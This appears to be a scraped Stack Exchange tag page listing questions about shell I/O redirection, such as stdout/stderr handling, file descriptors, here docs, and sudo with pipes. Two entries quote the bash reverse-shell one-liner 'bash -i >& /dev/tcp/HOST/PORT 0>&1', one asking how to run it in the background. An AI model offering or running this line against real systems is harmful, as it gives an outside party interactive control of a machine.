io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

1
vote
1answer
41 views

Linux : how to redirect stdout & stderr to logger?

I have a program I need to run at startup, it has output on stdout and stderr that I want to redirect to the system log using the logger command. What I have in my startup script is thie: ...
1
vote
2answers
81 views

Linux Shell fundamentals: How can I check the file descriptors status, (where are redirected to) right now without lsof?

I am learning about file descriptors for the case of Linux, and I was wondering if there is any command showing a complete list that allows me to know where is each one redirected to in this moment. ...
8
votes
2answers
113 views

How do I elevate privileges in the middle of pipeline?

My guess was as follows: echo "Generating some text" | su - -c cat >/output/file But su says: su: must be run from a terminal What would you do?
24
votes
4answers
3k views

What is the correct name for the “>” command

I was trying to find how to pass some text to a file without overwriting what's there already using the > command and I realised I don't know what it's called. Searching for right arrow or right ...
5
votes
4answers
239 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
4
votes
2answers
65 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
votes
3answers
81 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
1
vote
2answers
63 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
1
vote
1answer
53 views

Why does redirection in crontab result in a zero byte file?

System: Xubuntu 13.10 When I have this crontab entry */5 * * * * cat /home/dbk/.bash_aliases &> /home/dbk/Desktop/junk junk has a byte size of 0. Running $ cat /home/dbk/.bash_aliases ...
3
votes
1answer
86 views

What does exec 3<&1 do?

I understand exec can do I/O Redirection on current shell level. but I only sees usage like exec 6<&0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6>&1 # ...
0
votes
2answers
55 views

How to reset the file descriptor

I was trying to use file descriptor for printing the lines in the file #!/usr/bin/ksh exec 3<&0 exec 0< file.txt while read LINE do echo “$LINE” done and I am done with my code ,it ...
7
votes
1answer
324 views

Is this redirecting to /dev/null?

I found this script on the arch wiki which prefixes an ffmpeg command like this < /dev/null ffmpeg -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}" I understand the ffmpeg command, it is the < ...
8
votes
2answers
238 views

Why does 'nohup command >& /dev/null' seem to “work” in some shells?

I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & Now, the latter ...
0
votes
1answer
28 views

Capture Error of LS to file [duplicate]

#!/bin/sh if [ $(ls sample01.log | wc -l) = 1 ] then echo "File Found" > lsOutput.log else echo "File Not Found" > lsOutput.log fi But if sample01.log is not already existing my code already ...
3
votes
2answers
30 views

Inconsistencies between redirecting input from file, here docs, and here strings

Why is this inconsistent? I would expect here docs and here strings to be functionally equivalent to redirecting input from a file. $ bash --version GNU bash, version 4.1.2(1)-release ...
4
votes
1answer
136 views

Why do piping and redirection work differently with here documents?

Combining a redirect with a here document seems logical enough: $ bash > foo <<EOF echo Hello EOF $ less foo Hello But with a pipe it behaves differently: $ bash | tee foo <<EOF ...
1
vote
1answer
56 views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
0
votes
1answer
33 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
0
votes
1answer
33 views

Piped search queries in vim or less

I would like to be able to search a log file for lines that being with ^2014-02-18 15:30:[0-9:,]* and have UserName:someguy much later in the same line. I am sure I could do a regex to include any ...
1
vote
1answer
44 views

GoAccess won't redirect its output as a CGI script

I've been pulling my hair with this script: #!/bin/bash echo Content-type: text/html echo "" goaccess -f /var/www/log/access.log -a | tee Which runs perfectly on the command line (generates HTML ...
2
votes
2answers
57 views

Very strange ls > textfile problem when viewing with emacs

I want to list the components of the current working directory in a text file ls -1 > textfile Output looks fine with more. 1010661085645 1010729039145 1010747080245 1010849051345 ...
2
votes
1answer
58 views

< and << in UNIX /Linux

What is the option <<and < are used in linux for??? For example cat << abc.txt I know its a stupid question, but i was not able to search it on google as i did not know what ...
1
vote
4answers
22 views

search for multiple condition and then redirect output

How can you search for all lines containing “55=MSFT” and not containing the string “OPEN” in a file, then redirect the output to a file named MSFTFILE?
1
vote
2answers
54 views

How can I tell what device or file name I am redirecting to

From within a shell script (sh/bash), how can I tell what device or file name I am redirecting to? For example, I have a shell script named script.sh. I run the shell script and redirect STDOUT to a ...
4
votes
1answer
73 views

Can redirecting stdout and stderr to the same file mangle lines?

I've read that when redirecting stdout and stderr to the same file using 2>&1, stdout is usually block buffered while stderr is unbuffered. If a very long line is written to stdout, requiring ...
4
votes
3answers
201 views

Please help explain this bash output redirection

This script was posted as answer to a Question. And I'm trying to work out what's going on. result=$( { { ssh host app-status >&3 3>&-; echo "$?" } | { until read ...
1
vote
1answer
60 views

Bash Script which can direct stdin stream to program

I am trying to create a script capable of infinitely processing an incoming stream which is piped to it, and continuous producing an output stream which can be piped to something else something as ...
4
votes
1answer
103 views

Why bzip2 --version behaves strange?

So if I enter the command $ gzip --version | head -n1 everything goes as expected. But if I try the same with bzip2: $ bzip2 --version | head -n1 I get a lot of lines and I have to press Ctrlc ...
1
vote
1answer
44 views

How to redirect sqlite3 output to a file

I installed sqlite3 and want to use it to recover information from stylish.sqlite which is located in my Firefox profile folder and is generated by the Stylish extension: $ cd ...
3
votes
2answers
108 views

Save find -exec output to text file

I have a set of videos in the folder. I would like to get the info about this videos using ffmpeg -i command and save the output to file. So I wrote the line: find . -type f -exec ffmpeg -i {} \; ...
2
votes
2answers
36 views

Redirect output half-way through a script, and restore later

I would like to re-direct stdout half-way through a script. How can I do this in Zsh? # Do something # ... # Redirect stdout to a file (e.g. foo.txt) for x in *; print $x; done # Re-direct stdout ...
0
votes
4answers
132 views

Why does the command shuf file > file leave an empty file?

I know this is sort of a duplicate of another question (Why this sort command gives me an empty file?) but I wanted to expand on the question in response to the answers given. The command shuf ...
1
vote
1answer
50 views

Alias for redirecting both standard output and standard error, as well as sending to background [duplicate]

I am trying to create an alias for redirecting both standard output and standard error of gedit to /dev/null, whilst sending the command to background. This works: $ alias gedit='gedit $1 > ...
1
vote
1answer
86 views

fg a bg process because you forgot to redirect output to /dev/null

I did Ctrl+Z bg with the intention of disowning next, but I forgot to redirect, now I cant get to my terminal because the scrolling of the output (tarballed a huge directory with verbose set). How do ...
5
votes
1answer
96 views

How to append multiple lines to a file without last newline?

I have a very long string that is split in chunks. I want to append them to a file without putting the newline character using bash. Example: First append cat >> abc.sh << EOL echo "bla ...
4
votes
1answer
65 views

What's the difference between sh script and sh < script

What's the difference between sh myscript and sh < myscript I played around and they seem to have the same effect. Are they equivalent?
2
votes
2answers
34 views

Piping to the command substitution of a string containing pipes

This works— $ x='grep a' $ echo ab | $x ab This doesn't— $ x='grep a | grep b' $ echo ab | $x grep: |: No such file or directory grep: grep: No such file or directory grep: b: No such file or ...
1
vote
1answer
32 views

How do I redirect output from a command line app (howie AIML interpreter) to another command line app (espeak)?

I'd like to interact with an AIML interpreter that runs on the command line (Howie) using standard input and have the output played using espeak. I've tried: ./runme.py | espeak --stdin No ...
3
votes
2answers
109 views

How to output to screen overriding redirection

Is it possible, within a shell script, to write to the screen while STDOUT and STDERR is being redirected? I have a shell script that I want to capture STDOUT and STDERR. The script will run for ...
16
votes
5answers
1k views

Using while loop to ssh to multiple servers

I have a file servers.txt, with list of servers: server1.mydomain.com server2.mydomain.com server3.mydomain.com when I read the file line by line with while and echo each line, all works as ...
2
votes
2answers
72 views

Error message on terminal despite using 2> symbol

Why does this command show error message despite using 2> symbol? cat < foo 2>bar bash : cannot open foo : No such file or directory
1
vote
1answer
55 views

Crontab Triple Redirect

I have a very basic understanding of redirects, but I have come across a cronjob with redirects which I do not understand. 00 19 * * 1-5 /apps/app/scripts/doit.sh a np cron > ...
4
votes
3answers
237 views

How do you process an entire command as sudo that involves redirecting or piping?

I am trying to follow what I assume is best practises of using sudo instead of root account. I am running a simple concat file operation such as: sudo echo 'clock_hctosys="YES"' >> ...
3
votes
3answers
60 views

capture output from command without interference

How can I test whether a command's output is an empty string without interfering with said output? Example: command | ??? if [ $? = 0 ] && [ -n "$output_from_command"]; then ... I'd ...
8
votes
3answers
326 views

Why does the less-than sign not work as a replacement for cat in bash?

I heard about "useless use of cat" and found some suggestions, but the following outputs nothing in my bash shell. < filename Using cat works as expected though. cat filename I'm using Fedora ...
12
votes
2answers
155 views

Output order with process substitution

This is what I usually do to run grep and wc on a file without having to scan it twice <file.txt tee >(grep LITERAL) >(wc -l) >/dev/null However, this yields EXEC LITERAL 32 ...
2
votes
1answer
1k views

nohup: ignoring input and redirecting stderr to stdout

I am starting my application in the background using nohup as mentioned below - root@phx5qa01c:/bezook# nohup java -jar ./exhibitor-1.5.1/lib/exhibitor-1.5.1-jar-with-dependencies.jar -c file ...
3
votes
2answers
153 views

Bash if script is called from terminal echo stdout to terminal, if from cron do not echo output

I would like to have a service watchdog script echo the status to the screen if called like ./watchdog.sh but if it is run by cron, there is no need to echo output. What is the proper method? Where ...
3
votes
1answer
104 views

ProxyCommand without socat, nc or Bash's TCP redirection?

ssh_config's ProxyCommand allows to establish some connection to a proxy prior to establishing the connection to the actual target machine. Simple question: how can I leverage the dynamic or SOCKS ...
0
votes
1answer
51 views

&> redirection not working correctly

Please see the following shell transcript: $ ls input.txt test-amp-gt.sh test-both-2.sh test-both.sh test-gt.sh $ cat input.txt input file $ cat test-gt.sh #! /bin/sh cat input.txt > ...